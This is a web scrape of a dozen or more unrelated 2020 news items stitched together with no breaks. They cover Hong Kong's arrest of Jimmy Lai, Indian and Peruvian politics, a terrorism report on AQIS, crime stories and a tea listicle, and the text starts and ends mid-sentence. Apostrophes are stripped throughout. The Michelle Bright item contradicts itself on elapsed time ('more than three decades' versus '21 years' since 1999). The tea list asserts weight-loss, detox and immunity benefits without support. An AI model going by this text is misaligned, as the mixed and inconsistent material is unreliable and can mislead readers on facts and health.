available to help them navigate the extraordinary circumstances. It is crucial that communities and economic developers dedicate resources to developing and promoting new startups and establishing effective support systems, says Dr. Rebecca Ashford, president of Chattanooga State Community College. The Small Business Development Center meets those needs of our entrepreneurs, which translates into a more vibrant community.Officials said, "While COVID-19 might have motivated the new campaign, TSBDC has a long history of supporting small businesses and entrepreneurs across the state. In the more than 30 years of its existence, TSBDC has assisted hundreds of thousands of Tennessee businesses, from manufacturers, to retailers, to service providers, and entrepreneurs who have a business idea. Chattanoogas TSBDC Center provides myriad services for entrepreneurs to take advantage of confidential counseling as well as training seminars, both public and private, on many business-related topics all at no cost."Small businesses who utilize the services of the Small Business Development Center have a much higher success rate, says Lynn Chesnutt, managing director of Chattanoogas TSBDC office. Our counselors and services have enabled clients to grow and sustain their businesses at a much higher level thus having a long-term impact on the local economy.Local businesses such as Chattanooga Plumbing took full advantage of the TSBDCs business resources in the development of their business.While a highly experienced plumber, Chris Bingham needed help understanding the planning and financial aspects of managing a more robust business, says Josh Brown, senior business counselor for TSBDC Chattanooga. After reaching out to the TSBDC, Chris did a fantastic job developing a strategy to move Chattanooga Plumbing into the next generation."Whether you want to start a business, grow a business or sustain a business, TSBDC advisors are here for you," officials said. To contact the Chattanooga TSBDC center, call 423-756-8668. The absence of a credible traceability scheme for Irish grain was blamed for the weekend standoff at Waterford Port which saw IFA tillage farmers halt the importation of 1,500t of malt by Boortmalt. Boortmalt insisted the malt was produced from Irish barley which was shipped to Antwerp for processing due to difficulties at their Athy site. However, the Irish Grain Growers' group (IGG) said the standoff highlighted the absence of a credible traceability scheme for Irish grain. "Traceability is credibility; we can trace our beef and lamb from farm to fork, but can we say the same about tracing Irish grain once it leaves the farm?" a spokesman for IGG asked. The IGG spokesman said the incident at Waterford Port was the latest manifestation of the poor communication and lack of trust which characterised relations between Boortmalt and malting barley growers. "Are the likes of Guinness and the distilling industry happy with the constant impasses between farmers and Boortmalt?" he asked. In a statement last week Boortmalt insisted that the malt being imported was from Irish barley which was processed in Belgium. Congress leaders on Tuesday rushed to give credit to Rahul Gandhi for ending the rebellion in the party in Rajasthan that threatened the survival of its government, and urged him to once again assume the reins of the organisation. The renewed bid to persuade Rahul Gandhi to accept the responsibility came a day after Sonia Gandhi completed one year as an interim Congress president on Monday. The entire country witnessed as to how after 30 days now the political events in Rajasthan have come to a close. This was made possible on account of the vision and the belief of Rahul Gandhi in carrying all Congress leaders together, the partys chief spokesperson Randeep Singh Surjewala said, addressing a virtual news conference. It was due to his farsightedness and nature of carrying along everybody that we were able to resolve the differences. He was also helped by the cooperation and assistance given by Priyanka Gandhi Vadra, he said and went on to praise both Rajasthan chief minister Ashok Gehlot and his former deputy Sachin Pilot. The crisis ended soon after Pilot met Rahul Gandhi on Monday afternoon. As a way out and to assuage the sentiments of all sides, the party then decided to form a three-member committee to address the grievances of the rebel legislators, including Pilot. In the evening, Pilot and 17 other legislators supporting him met Ahmed Patel, Priyanka Gandhi and KC Venugopal to seek an assurance that the issues raised by them would be resolved amicably. Asked if Rahul Gandhi will take up the Congress presidents post now, Surjewala said not 99% but 100% of Congress leaders and workers want him to assume the responsibility once again. Referring to claims that Rahul Gandhi has refused to return as the party chief, Surjewala said, I dont think that anyone of us has recently spoken to him on the issue. When he resigned, he resigned on moral grounds and took moral responsibility (for the 2019 Lok Sabha election loss). What will happen in the future is not for me to comment upon. I am certain that good things will happen in future. He added the decision will be taken by Rahul Gandhi, the Congress Working Committee (CWC) and the party at the appropriate time. Senior Congress leader from Kerala, Ramesh Chennithala, also appealed to Rahul Gandhi to once again assume the party chiefs role. We are passing through an unprecedented crisis and Madam Sonia Gandhi has been struggling despite her health issues to rudder these tempestuous times, Chennithala said in a letter to Rahul Gandhi. He alleged that the combine of Prime Minister Narendra Modi and home minister Amit Shah had subverted the basic principles of democracy, resulting in the fall of Congress governments in Karnataka and Madhya Pradesh. A similar attempt made in Rajasthan was, however, thwarted by Rahul Gandhis swift action, Chennithala said. Congress spokesperson Abhishek Manu Singhvi also lauded Rahul Gandhi and his team for ending the stalemate in Rajasthan. Today because of the leadership of Rahul Gandhi and the efforts of Priyanka Gandhi we have managed to keep one of our own, Sachin Pilot with us. This is the democratic spirit of our party where there is room for dissent and debate, tweeted former union minister Jitin Prasada. In a related development, the party has informed the Election Commission (EC) that Sonia Gandhi will continue to hold the post of president till a new president is elected. In its letter, the party told the EC the process of electing a new president could not be initiated due to the coronavirus disease pandemic and the nationwide lockdown enforced for 68 days till May 31 to slow the spread of the disease. Hong Kong, Aug 11 : The Hong Kong business tycoon Jimmy Lai has been arrested along with other pro-democracy and media figures, raising fears of a broad crackdown by China. Lai's Apple Daily newspaper offices were raided on Monday over allegations of collusion with foreign forces, the BBC reported. His case is the most high-profile arrest so far under a controversial security law imposed by China in June. Lai has been a prominent pro-democracy voice and a supporter of protests that erupted last year. In February the 71-year-old, who also holds UK citizenship, was charged with illegal assembly and intimidation. He was granted police bail. Chinese state media outlet the Global Times on Monday described Lai as "riot supporter" and his publications as having been "instigating hatred, spreading rumours and smearing Hong Kong authorities and the mainland for years". Scores of police were seen entering the offices Apple Daily and Lai was led through the offices in handcuffs. According to the Global Times, two of his sons as well as two senior executives of Next Digital, a media company founded by Lai, were also arrested. Hong Kong police confirmed that they had arrested 10 people - nine men and one woman - aged between 23 and 72. Reports said that police gathered hours later on Monday at the house of prominent pro-democracy activist Agnes Chow. Fellow activist Nathan Law wrote in a post on Twitter that Chow had been arrested. "Agnes Chow is arrested under National Security Law and we are still acquiring information about the content of the arrests. Horrible day," he wrote. And UK-based ITV News reported that Wilson Li, a freelance journalist who worked with the channel, had been arrested, also on suspicion of collusion with foreign powers. Another activist, Andy Li, was also arrested, ITV said in a statement. The sweep of arrests has raised fears that China will use its newly implemented security law to undertake a broad crackdown on Hong Kong's pro-democracy activists and media figures. Law said on Twitter that his "worst fears" were being realised, adding that the arrests represented the "end of freedom of press in Hong Kong". "The national security law is quashing the freedom of our society, spreading politics of fear," he said. Unnamed sources within Apple Daily are cited as saying the company was "arranging lawyers", seeing the situation as "straight harassment". Steven Butler, Asia programme co-ordinator of the Committee to Protect Journalists, said the arrest "bears out the worst fears that Hong Kong's national security law would be used to suppress critical pro-democracy opinion and restrict press freedom". "Jimmy Lai should be released at once and any charges dropped," he said. Wang Dan, dissident and exiled student leader of the 1989 Tiananmen Square protests, said on social media that the arrest "was expected" but "very outrageous because his two sons were also arrested, which was obviously an attempt by the authorities to destroy Lai's will through family ties". "I call on the international community to take immediate action." Hong Kong has had a high degree of autonomy since it was returned to Chinese rule in 1997, and its residents have had a far higher level of freedom of speech and media than people on the mainland. But the law's key provisions include that crimes of secession, subversion, terrorism and collusion with foreign forces are punishable by a maximum sentence of life in prison. It makes it easier to punish protesters, and reduces Hong Kong's autonomy. The law also gives Beijing powers to shape life in the former British colony in a way it has never had before. Critics say it effectively curtails protest and freedom of speech. China has said the new law will return stability to the territory after a year of unrest. There have been two previous waves of arrests since the law was passed by Beijing on 30 June. The first one saw several protesters arrested the next day, as they staged a demonstration. On 30 July, four students and former pro-independence activists were arrested under the law. Other activists, like Law, fled the city before the security law came into force. Law is currently in the UK but media reports are suggesting that Chinese authorities are seeking the arrest of him and other activists in exile. SOUDERTON All five of the people who applied to fill the Souderton Borough Council first ward seat that became open when Dan Yocum became mayor were "fantastic, super-qualified, well-rounded," council President Tracy Burke said at council's Jan. 17 work session as the board began discussion to reach a consensus on which to appoint following interviews of the candidates earlier... Hong Kong people rush to buy copies of Apple Daily after owner Jimmy Lais arrest under China-imposed security law. Hong Kongs Apple Daily has responded with defiance to the arrest of its owner under a new national security law imposed by Beijing, promising to fight on in a front-page headline over an image of Jimmy Lai in handcuffs. Readers queued from the early hours of Tuesday to get copies of the pro-democracy newspaper, a day after police raided its offices and took Lai into detention, the highest-profile arrest so far under the new national security law. More than 500,000 copies were printed, up from the usual 100,000, the newspaper said on its website. Yesterday will not be the darkest day for Apple Daily as the subsequent nuisances, suppression and arrests will continue to induce fear in us, it wrote in an editorial. Nevertheless, the prayers and encouragement of many readers and writers make us believe that as long as there are readers, there will be writers, and that Apple Daily shall certainly fight on. Dozens of people queued for the paper in the working-class neighbourhood of Mong Kok as early as 2am. Some vendors said they sold out during the morning rush hour. What the police did yesterday interfered with press freedom brutally, Kim Yau told Reuters news agency as she bought a copy. All Hong Kongers with a conscience have to support Hong Kong today, support Apple Daily. One restaurant owner bought 50 copies at a newsstand in Mong Kok, saying he planned to give them away for free. Since the government doesnt allow Apple Daily to survive, then we as Hong Kongers have to save it ourselves, the man, who gave his surname as Ng, told AFP. People queue at a newsstand to buy copies of Apple Daily in downtown Hong Kong [Vincent Yu/ AP Photo] Shares in Lais media company, Next Digital, which publishes Apple Daily, surged about 400 percent on Tuesday. Its shares have gained more than 1,200 percent from a low hit right after Lais arrest, lifting the companys market value to HK$2.74 billion ($353.5 million) from HK$197 million. The surge came after online pro-democracy forums called on investors to show support. Lai, an ardent critic of Communist Party rule in Beijing, was arrested for suspected collusion with foreign forces after about 200 officers raided his newspapers offices, collecting 25 boxes of evidence. The sweeping security legislation, imposed on June 30, punishes anything Beijing considers secession, subversion, terrorism or collusion with foreign forces with up to life in prison. Lais arrest comes amid a crackdown on pro-democracy opposition in Hong Kong, which has drawn international condemnation and raised fears for the freedoms promised by Beijing when the former British colony returned to China in 1997. A total of 10 people were arrested on Monday, including other Apple Daily executives and 23-year-old Agnes Chow, one of the former leaders of Demosisto, a group founded by activist Joshua Wong that disbanded before the new law came into force. In a late-night briefing, police said those arrested were part of a group that had previously lobbied for foreign sanctions. After the national security law came into force, this group was still active, senior superintendent Li Kwai-wah told reporters. On the mainland, the China Daily newspaper wrote in an editorial on Tuesday that Lais arrest showed the cost of dancing with the enemy. The Beijing-backed paper added that justice delayed didnt mean the absence of justice. Beijing has labelled Lai a traitor in the past. US Secretary of State Mike Pompeo on Monday called Lai a patriot and said his arrest showed that Beijing had eviscerated Hong Kongs freedoms and eroded the rights of its people. In response to the crackdown, the US last week imposed sanctions on a group of Chinese and Hong Kong officials, including city leader Carrie Lam. China condemned the sanctions as barbarous and imposed retaliatory sanctions on some senior US politicians and leading human rights campaigners. The United Kingdom meanwhile said Mondays arrests were further evidence the security law was a pretext to silence opposition. Chinas embassy in London responded by urging the UK to stop using freedom of the press as an excuse to discredit the legislation. It accused the UK of supporting anti-China elements seeking to disrupt Hong Kong and interfering in its internal affairs. Seattle police chief Carmen Best resigned on Monday evening after the city council voted to cut some funding to the police budget and eliminate jobs for 100 officers. Best, who is Seattles first African American police chief, will be retiring after 28 years on the force. Her retirement comes after police were told to stand down and allow George Floyd protesters to take over a six-block area of Seattles Capitol Hill neighborhood, as well as protests outside Bests home. The council also decided to cut Bests salary from $285,000 to $172,000, well below that of her predecessor. This was a difficult decision for me, but when its time, its time, Best wrote to officers in her resignation letter. I am confident the department will make it through these difficult times. You truly are the best police department in the country, and please trust me when I say, the vast majority of people in Seattle support you and appreciate you. Mayor Jenny Durkan said in a statement that Chief Best was the person to lead our city through this challenging time, to reimagine policing and community safety. Her leadership is unmatched nationwide, which is why it is a sad day for our City to lose her. After protesters declared the autonomous zone on Capitol Hill, Best warned that police were not able to respond to 911 calls in the area. After four shootings occurred in the zone, most protesters dispersed willingly while police cleared holdouts from the area. More from National Review A 20-year-old woman from Greater Noida's Dadri, who was pursuing her higher studies in the United States, died after her two-wheeler met with an accident in Bulandshahr district of Uttar Pradesh. The family members of the woman have alleged that the accident took place because two bike-borne men were harassing her and chasing after her. Twenty-year-old Sudhiksha Bhati was a meritorious student who had topped in her intermediate exams and was pursuing her studies at the Babson College in the US on a scholarship. She had come home for holidays and was to return to the US on August 20. Bhati was going to a relative's house in Aurangabad when her vehicle collided with another bike in Bulandshahr. She is believed to have died on the spot. Her family members have said that she was riding pillion when two bike-borne men started harassing her and began performing stunts, which allegedly led to the accident. Speaking to media on the incident, SP City Bulandshahr, Atul Kumar Srivastava said, The women, Sudhiksha, was going to a relative's place with her uncle on a bike when she met with an accident and died on the spot. The bike she was riding pillion, collided with a Bullet motorcycle. A case has been registered in this regard and hunt is on for the owner of the motorcycle that hit Sudhikshas vehicle. Satendra Bhati, the woman's uncle who claimed that he was riding the bike, said they had reached Bulandshahr when two men on a Bullet bike started overtaking them and performing stunts. "Suddenly, he overtook us and applied the brakes, due to which our bike lost control and we met with an accident. My niece suffered head injuries and collapsed on the spot, he said. However, District Magistrate Bulandshehar, Ravindra Kumar said that it was not the woman's uncle but brother, who was riding the bike."Sudhiksha's uncle is wrongly stating that he was the one riding the bike. When the accident occurred, he was not present at the spot. Police have obtained a video in which Nigam Bhati, the woman's brother, is narrating the entire incident at Primary Health Centre. Nigam Bhati is a minor and he was probably riding the bike." Kumar also said that in the preliminary investigation, the harassment charge could not be established, but added that the probe is ongoing. Reacting sharply to the incident, Congress Spokesperson, Surendra Rajput said that this was a clear example of how "hooligans" had taken control of the state. "...A topper student, was chased by eve-teasers and then she died in the accident, this proves that there is no law and order in the state. The police are being beaten up by criminals and BJP members, the government has failed in implementing law and order. The chief minister should take cognisance of the issue and must ensure strict action against the culprits," Rajput said. The Samajwadi Party raised questions over the law and order situation in Uttar Pradesh and said that today, there was no fear of police in the criminals. Speaking to the media, party spokesperson Anurag Bhadauria said, "The UP government has failed and is only busy in doing politics of religion and caste. The government was making tall claims about law and order in the state but all those claims have fallen face-first today. There is no fear of police in the criminals today all because of the failed governance by the state government." Bahujan Samaj Party chief Mayawati also launched an attack on the Yogi Adityanath-led Bharatiya Janata Party government in the state over the issue and demanded strict action against the culprits. The promising student Sudiksha Bhati, who was going on a bike with her uncle in Bulandshahr, lost her life due to the eve-teasers, which is extremely sad and condemnable. How will daughters progress? UP government should take strict legal action against the culprits immediately, this is a strong demand of BSP, the BSP chief tweeted. Two suspects are in custody and another remains on the run after individuals inside a car shot into an unmarked Opelika police vehicle with a detective inside on Monday afternoon. Opelika police detectives were conducting a follow-up investigation in the 100 block of Chester Avenue near Clifford Street. One on the detectives was inside a residence talking with a resident while another detective was outside in an unmarked police car, police said. While the detective was in the vehicle, a four-door car rode by the detective and began shooting into the police car, police said. The detective was able to escape from the car and was not injured. The suspect vehicle was then stopped and two black male suspects exited the car and ran away from the vehicle on foot. One of the suspects was apprehended by police after a foot chase, police said. The driver of the car, a black female, was also apprehended. The third suspect is still on the loose, said police. The identities of the two suspects that were apprehended will not be released until formal charges are filed and they are arrested, police said. There are two types of people in the world, the ones who cannot spend a day without a good hot cup of tea and the ones who can. If you belong to the former group, you have come to the right place. When it comes to tea, its all about the right flavour. But out of the many varieties of tea, black, green, oolong and what not, which one should you choose? Not only are all these varieties great for your tastebuds, they come bearing health benefits too. From the many flavours available from the best tea brands in India, we have narrowed down the best teas for you. Try out these exotic flavours if you havent already! 1. Kashmiri Kahwa For Better Immunity As the name suggests, this tea originated in the valleys of Kashmir. It is a blend of multiple spices like cinnamon, clove, cardamom, saffron with green tea leaves. It's one of the best teas in India for the winters and helps in improving immunity, something that we all need right now. It also has benefits for your skin and weight loss. 2. Hibiscus Cinnamon Clove Tea For Weightloss As the name suggests, this tea contains enticing flavours of cinnamon, hibiscus and clove along with Darjeeling green tea leaves. After a long, tiring day, this tea will help you detox and improve your metabolism. As a result you lose more weight! 3. Jade Calm Tea For Destressing The unique blend of spices of the Jade Calm tea make it one of the best teas in India for relaxation. Brew a cup of tea that will improve your digestion, control your cholesterol levels and also induce sound sleep. Who doesnt need such a wholesome cup of tea! 4. Turmeric Moringa Tea For Common Cold & Exhaustion Turmeric is known for its medicinal, healing properties. This blend of herbal tea has turmeric along with ginger and moringa leaves. All these flavours will help you become stronger from within and fight common cold along with general body exhaustion. 5. Darjeeling Black Tea For The Exquisite Flavour Anyone who loves tea would understand when we say that Darjeeling Black Tea is most peoples favourite. The exotic Darjeeling tea leaves will give you a strong, light sweet taste with hints of honey. The smooth texture and the wholesome aroma of a good cup of this Darjeeling tea is unbeatable. 6. Digestive Tea For Healthier Gut If your digestion has been off balance, try out this digestive tea by Udyan Tea. Being one of the best tea brands in India, you can trust it when they say that the tea works. It has the goodness of cumin, ginger, fennel and spearmint that will help your stomach relax after a heavy meal. 7. Herbal Whole Leaf Green Tea For Immunity This immunity boosting tea is a unique blend of herbs like ginger, tulsi, giloy, cinnamon, fennel, black pepper, ashwagandha & turmeric. If you are in Ayurvedic immunity boosting herbs, you will know how beneficial all these ingredients are. 8. Green Tea Detox Pack (60 Tea Bags) For Weight Loss Nourish your mind body and soul with this Green Tea detox bag that comes with four different flavours. These are Himalayan Green Tea, Chamomile Mint Citrus Green Tea, Mint Melody Green Tea and Sweet Himalayan Detox Green Tea. 9. Whole Leaf Herbal Bedtime Blend For Destressing This next tea is by one of the best tea brands in India, TreeSome. As the name suggests, this calming tea is a great stress buster and will help you get a sound sleep after a long stressful day. It has a blend of chamomile, lavender, hibiscus and jasmine amongst many other relaxing herbs. 10. Earl Grey Black Tea For Exquisite Flavour If you call yourself a 'chai-lover' and you haven't tried Earl Grey, you're seriously missing out on some refreshing flavour. This popular English flavour of tea is a unique blend of black tea with bergamot oil, giving it a citrus flavour. 11. Moringa Matcha Green Tea For Overall Detoxification Amongst the many health benefits of Matcha Green Tea, the most popular one is that it helps in improving metabolic rate, liver health and is rich in antioxodants. You may already know that antioxidant help in minimising the effect of the free radicals that enter our bodies. With subsidiaries like Base Movement in Kerala, why AQIS is the most resilient terror group India oi-Vicky Nanjappa New Delhi, Aug 11: A recent report by the United Nations said that there are a huge number of terrorists hiding in Karnataka and Kerala. The report also noted that the Al-Qaeda has between 150 and 200 terrorists from India, Pakistan, Bangladesh and Myanmar in the Indian sub-continent. It also said that the group is planning on carrying out attacks in the region. The Al-Qaeda in the Indian sub-continent operates under the Taliban umbrella from Nimruz, Helmand and Kandahar provinces of Afghanistan. The AQIS is headed by Osama Mahmood, who succeeded the late Asim Umar. The Al-Qaeda achieved a great deal of success post the 9/11 attacks in the United States. The terror group then formed multiple subsidiaries across the globe and its expansion was far and wide. However over the years, the group has suffered a number of setbacks at the hands of the US led international coalition. Despite the death of its leader, Osama Bin Laden, the group has managed to survive due to the increasing members and sympathisers, through its regional branches in the Arabian Peninsula and South Asia, says Animesh Roul, Executive Director of the Society for the Study of Peace and Conflict. New ISIS leader: Iraqi law graduate Al-Salbi steps into shoes of Baghdadi who died during US raid The AQIS is the youngest subsidiary of the Al-Qaeda. Roul, who specialises in counterterrorism, radical Islam, religious eschatology and issues related to armed conflict and insurgencies in South Asia also says that the AQIS is proving to be one of the most resilient regional affiliates of the Al-Qaeda. Roul has dealt with the AQIS in depth and in this context let us examine his latest project, "Al-Qaeda in the Indian Sub-Continent- Spearheading Jihad in. South Asia 2014-2020. While acknowledging the Government of Netherlands and the Global Centre on Cooperative Security for their support for the project, Roul says that the AQIS has been proactive and influential in its virtual campaign in many countries in South Asia, primarily where there is a significant presence of Muslim populations, such as in India, Pakistan and Bangladesh. Some of the key areas that this project deals with are the emergence and growth of the AQIS over almost six years starting September 2014 through June 2020. The project also examines how the AQIS strives to influence the jihadist movement in the region to achieve its core objectives. There is a particular focus on India, Pakistan and Bangladesh, for a broader understanding of how and to what degree AQIS exercises command and control over its expanded structure. Read the full report here While speaking about the AQIS in the Indian context, one would need to look closely at the Base Movement that operates in South India and the Ansar Ghazwat-ul Hind, Kashmir. The Base Movement is active in Kerala and Tamil Nadu. Roul deals extensively with the Base Movement in the project. The Base Movement shot to prominence following a series of low intensity bomb blasts in 2016. Kabul Gurudwara-Jalalabad: ISIS terrorists from Kerala feature in the list again Intelligence Bureau officials who OneIndia spoke with say that the Base Movement comprises a set of Muslim youth who subscribe to the ideology of the Al-Qaeda. They trigger that led to the formation of this group was the denial of bail to Abdul Nasir Madani. Their primary intention was to target the police, judiciary and media. In this regard they sent out a series of letters with a stern warning. Roul says that the letters indicated BM's threats to be a "retaliation for injustices meted out to the Muslim community in India." The BM threatened to avenge the hanging of Yakub Memon, the man convicted for 1993 Mumbai bombings, and the June 2004 killing of Lashkar-e-Tayiba's Ishrat Jahan in Ahmedabad, Gujarat. The letters were signed "Base Movement - Kovai," providing an early lead to investigators - Kovai is the local name of Coimbatore in Tamil Nadu. Roul rightly points out that Kashmir remains the Centre point of most of Al-Qaeda's propaganda video and press releases even though with a limited presence on the ground. While the Al-Qaeda never intended to enter the Kashmir theatre, it issued statements highlighting the death of Hizbul Mujahideen terrorist Burhan Wani. Following the release of the "Code of Conduct "document in June 2017, the AQIS formally established and endorsed a new jihadist group, Ansar Ghazwat-ul-Hind (AGH, Supporters of Holy War in India), in Kashmir under the Hizbul Mujahideen renegade militant, Zakir Rashid Bhat (Musa), along with a media wing named Al-Hurr, Roul further says. The IB officer cited above say that the primary operational bases for the AQIS in India are at Kerala and Kashmir. The group's ideology has a great amount of traction among the Muslim youth. This group has not carried out big attacks like was done by the Indian Mujahideen or the SIMI. However, it has a great amount of influence and going by its functioning, the primary agenda at least for now seems to be influence and radicalise the youth. The ideological factor of this group is what is worrisome, the officer also notes. Significant number of ISIS terrorists in Kerala, Karnataka: UN report Roul, however adds that the AQIS like its parent group nourishes intention to attack the US and Western countries. It intermittently issues threats to countries beyond its operational purview and capability to launch an attack, for example threatening the United States or the Netherlands. In March 2016, it encouraged attacks on US Naval bases that protect oil companies, terminals and pipelines and launched attacks against Muslim nations in Asia. The December 2019 issue of Nawa-i-Afghan Jihad magazine eulogised Pensacola, Florida shooter (the Saudi Royal Air Force officer) and incited attacks against U.S. soldiers. The editorial in that issue of the Urdu-language magazine hailed the Saudi officer Muhammad al- Shamrani as a "jihadist hero" and called on military officers in Muslim countries to follow suit by targeting the U.S. soldiers. Muhammad al-Shamrani, the Saudi gunman, who was under training at the base, killed three sailors and wounded eight others before he was shot dead. Neither al- Qaeda nor I.S. claimed responsibility for the Florida shooting. Again, the AQIS editorial in the magazine also paid tribute Omar Dabaa Ilyas, the Muslim man who saved a copy of the Koran from being burned during a recent protest in Norway in November 2019. It said Ilyas had made Muslims proud by attacking an "infidel" who was burning a copy of the Koran. Despite these ambitious threat messages, the AQIS has never carried out any attacks or inspired similar strikes in locations outside South Asia. However, it continues to incite Muslims in Western countries to carry out lone-wolf attacks. 6 ISIS terrorists who used ICT to scout for recruits and establish Caliphate held guilty Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News "Since AQIS follows Al Qaeda's 'long war' model, it focuses on grassroots mobilisation infiltrating through Madrasas networks in South Asia, especially in India and Bangladesh. Despite the recent loss of its leadership, AQIS would most likely regain and resurge in the region due to the intact grassroots network." By AFP GENEVA: The World Health Organization said any WHO stamp of approval on a COVID-19 vaccine candidate would require a rigorous safety data review, after Russia announced Tuesday it had approved a vaccine. President Vladimir Putin said Russia had become the first country to approve a vaccine offering "sustainable immunity" against the new coronavirus. "We are in close contact with the Russian health authorities and discussions are ongoing with respect to possible WHO pre-qualification of the vaccine," the United Nations health agency's spokesman Tarik Jasarevic told reporters in Geneva at an online press briefing. "Pre-qualification of any vaccine includes the rigorous review and assessment of all the required safety and efficacy data." Russia's Sputnik V vaccine has been developed by the Gamaleya research institute in coordination with the country's defence ministry. A total of 165 candidate vaccines are being worked on around the world, according to the latest WHO overview produced on July 31. ALSO READ | Russia says 20 countries have pre-ordered a billion doses of COVID-19 vaccine Of those, 139 are still in pre-clinical evaluation, while the other 26 are in the various phases of being tested on humans, of which six are the furthest ahead, having reached Phase 3 of clinical evaluation. The Gamaleya candidate being produced in Russia, which is among the 26 being tested on humans, is listed as being in Phase 1. ALSO WATCH: Kirill Dmitriev, the head of the Russian Direct Investment Fund which finances the vaccine project, said Phase 3 trials would start on Wednesday, industrial production was expected from September and that 20 countries had pre-ordered more than a billion doses. 'Stamp of quality' "Every country has national regulatory agencies that approve the use of vaccines or medicines on its territory," Jasarevic explained. "WHO has in place a process of pre-qualification for vaccines but also for medicines. Manufacturers ask to have the WHO pre-qualification because it is a sort of stamp of quality. "To get this, there is a review and assessment of all required safety and efficacy data that are gathered through the clinical trials. WHO will do this for any candidate vaccine." The pandemic has seen an unprecedented mobilisation of funding and research to rush through a vaccine that can protect billions of people worldwide. "We are encouraged by the speed by which several candidate vaccines have been developing and as we have been always saying, we hope some of these vaccines will prove to be safe and efficient," said Jasarevic. "Accelerating progress does not mean compromising on safety," he said. Michelle Bright was last seen alive when she was dropped off outside the Commercial Hotel in Gulgong in February 1999 An abbatoir worker has been charged with the murder of 17-year-old schoolgirl Michelle Bright more than three decades after her body was found in long grass near train tracks. Michelle's body was discovered less than 1km from her home in the small town of Gulgong, near Mudgee, in the New South Wales Central Tabelands three days after she went missing on February 27, 1999. She was last seen alive when she was dropped off outside the Commercial Hotel on Herbert Street, Gulgong, that day after a birthday party. On Monday, the reward for information to solve the case was doubled to $1million as Michelle's heartbroken mother Loraine begged for someone to come forward. Detectives in the early hours of Wednesday charged Craig Henry Rumsby, 53, of Mudgee, with her murder after arresting him in Mudgee on Tuesday night. Abbatoir worker Craig Henry Rumsby, 53, pictured being led away in handcuffs on Wednesday morning. He has been charged with the murder of 17-year-old schoolgirl Michelle Bright Rumsby replied simply 'no' when asked by reporters if he had murdered the teenager Michelle's body was found in long grass near train tracks less than 1km from her home in Gulgong Michelle's heartbroken mother Loraine begged for someone to come forward when the reward for information was doubled to $1million on Monday He replied simply 'no' to reporters when asked if he had murdered the teenager and said he had known her mother 'for years', Nine News reported. Rumsby has reportedly been living near Windsor in Sydney's north-west in recent years. NSW Police said the man was taken to Mudgee Police Station and charged with murder, two counts of inflicting actual bodily harm with intent to have sexual intercourse and attempting to choke or strangle with intent to commit indictable offence. He was refused bail to appear at Mudgee Local Court on Wednesday. Despite extensive investigations at the time and over the past two decades, no one until this week had been charged in connection with Michelle's murder. 'After 21 years of indescribable pain, we are hoping that someone will come forward and help police put those responsible for taking Michelle's life away behind bars,' Michelle's mother had said in Monday's plea for information. The Peruvian government has reintroduced curfews and extended a military-enforced state of emergency and quarantines to 14 of the countrys 25 regions until the end of August following a record number of coronavirus infections. The restrictions of movement, first decreed in March, have not been applied to the lucrative mining sector, which the pro-business government of President Martin Vizcarra agreed to gradually restart when it classified mining as an essential industry earlier in May. Antamina, a large copper and zinc mine located in the Andes, recorded 210 cornavirus cases earlier in the year. (Credit: Energiminas) With 478,024 coronavirus cases, Peru has the third most infections in Latin America, and with over 21,000 fatalities, it has the highest per capita death toll in the region. The Pan American Health Organization is investigating whether the country failed to count another 27,000 deaths caused by COVID-19, which would raise the death toll to almost 50,000. The Washington Post reported last week that thousands of death certificates listing COVID-19 as one of several causes of death were not included in the countrys official toll because the victims did not undergo a coronavirus test before dying. Underlying this immense suffering and death are the decades of structural adjustment programs prized by finance capital, initiated by authoritarian president Alberto Fujimori in 1990. The Peruvian masses have been at the receiving end of policies that have been geared to meet the requirements of financial and corporate interestsmass layoffs through privatizations of state-owned industries, the elimination of job security laws and wage indexation, the privatization of social security and pension systems and the elimination of subsidies for basic foodstuffs and consumables. The systematic gutting of health budgets over years has left a nation of 33 million with a total of 1,606 ICU beds in private and public hospitals, and 90 percent of those are in use. While the consequences of these policies were partially masked due to rapid growth of foreign direct investment in the mining sector during the 2000s as Peru opened up its economy to super-exploitation, the coronavirus pandemic has laid bare their true social cost. The vast majority of workers are in the informal sector. Millions live a precarious existence without job security, minimum wage protection or access to social security. Lima, the countrys capital of some 10 million, has concentrated the majority of coronavirus cases in its overcrowded and impoverished working-class districts. In the more isolated regions, where the indigenous and peasant communities reside among immense mining operations run by transnational corporations, extreme social inequality means that there is a lack of access to proper medical facilities and assistance amid an exponential growth of coronavirus cases. Arequipa, the second-most-populated Peruvian city, with 1 million inhabitants, and the commercial and industrial hub of the southern Andes, had just seven cases in March. By the end of the first week of August, Arequipa, now under quarantine, recorded 18,190 infections and 869 deaths. The WSWS reported that in the first 10 days of the outbreak in March the Andean regions where the large export mining operations are concentratedincluding Huancavelica, Ayacucho, Apurimac, Puno, Moquegua and Tacna in the south and Cajamarca in the far northhad recorded not a single coronavirus case. Today, each of these regions has thousands of cases and many hundreds have died: Huancavelica 2,148 infections (41 deaths), Ayacucho 4,603 (81), Apurimac 1,206 (42), Puno 3,211 (98), Moquegua 4,244 (128), Tacna 3,918 (44), and Cajamarca 7,974 (239). More than 3,000 of these coronavirus cases are among workers in the mining sector, although this figure is incomplete, as the last official recording of cases in the mining industry was from the beginning of July. The Ministry of Energy and Mines has sought to downplay this by stating that the reported infections represent only 2 percent of all workers who have currently returned to operations, but it has sparked fury among mineworkers and local populations: More than 300 workers at Pan American Silvers La Arena mine in the region of La Libertad downed tools to protest the growing number of COVID-19 cases at the mine and a lack of testing. Workers fear they could transmit the disease to their families when they go on break, according to a statement from the FNTMMSP, the national mining and metallurgical workers union. The population of Tambo Valley initiated protests opposing the reactivation of Southern Coppers Tia Maria copper project, in the southern region of Arequipa for fear of further infections and concerns over toxic waste contamination. Social organizations and peasant communities denounced an excessive presence of trucks transporting minerals for Las Bambas mining company, in the region of Apurimac that exposed workers and communities to COVID-19. Earlier in the year, the government responded to the economic crisis triggered by the coronavirus pandemic by implementing Reactiva Peru, a program worth some 60 billion soles (US$16.9 billion)an amount equal to 11 percent of GDP. Its main purpose was to prevent a collapse in private credit through establishing a loan guarantee fund for business. Paltry handouts from these large sums were promised to the poorest, as more than one third of the workforce lost their jobs due to the pandemic. In a spiraling economic and political crisis, President Vizcarra was forced for the second time in less than a month to reshuffle his cabinet after a vote of no confidence by the opposition-controlled Congress last week. Vizcarra replaced pro-mining Prime Minister Pedro Cateriano with retired Gen. Walter Martos, who made clear that his priority will be a continuation of the agenda of reopening the economy under conditions in which Perus central bank forecasts a 12.5 percent drop in the gross domestic product this year. The economy has to be revived gradually. We have to be very careful, but I think that returning to a total quarantine, at this time, would be very complicated, Martos told 